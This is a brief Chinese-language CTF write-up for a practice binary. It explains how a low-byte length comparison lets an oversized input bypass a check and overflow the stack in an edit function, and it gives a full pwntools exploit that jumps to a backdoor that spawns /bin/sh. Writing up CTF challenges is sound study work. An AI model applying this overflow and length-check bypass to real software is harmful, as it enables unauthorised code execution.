一个小小测试题
测试题wp
ida反汇编shift+f12看到有/bin/sh的字符串,找到后门函数
主函数进入whlie循环,里面是一个login函数,只要输入小于20个字节就可以跳出循环,进入下一个函数
在下一个函数中发现一个菜单,1可以进入show函数,2可以进入edit函数
跟进show函数发现有格式化字符串漏洞,但是由于checksec查看权限发现got不能覆写,放弃这一想法,查看edit函数
发现栈溢出漏洞,src可以放payload,溢出dest到后门函数,但是发现if对v13也就是src的长度有限制
gdb调试发现rax存着输入字节长度,但是比较的时候用的是al也就是输入字节长度的低字节,又发现之前read函数能输入最多300个字节,那我们如果输入0x1010x114个字节,那么其实都可以被截成0x010x14来绕过if
exp:
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./cs')
elf = ELF('./cs')
ret=0x400296
backdoor = 0x4008AA
p.recvuntil(b"Input your username(max lenth:20): ")
p.sendline(b"aaa")
p.recvuntil(b"Input your password(max lenth:20): ")
p.sendline(b"bbb")
p.recvuntil(b"Register Success!!")
p.recvuntil(b">")
p.sendline(b"2")
p.recvuntil(b"please input new username(max lenth:20): ")
p.sendline(b'aaa')
p.recvuntil(b"please input new password(max lenth:20): ")
gdb.attach(p)
\#pause()
payload0=b'a'*0x28+p64(backdoor)
payload=payload0+b'a'*(0x100-len(payload0))
p.sendline(payload)
p.interactive()
可以打通







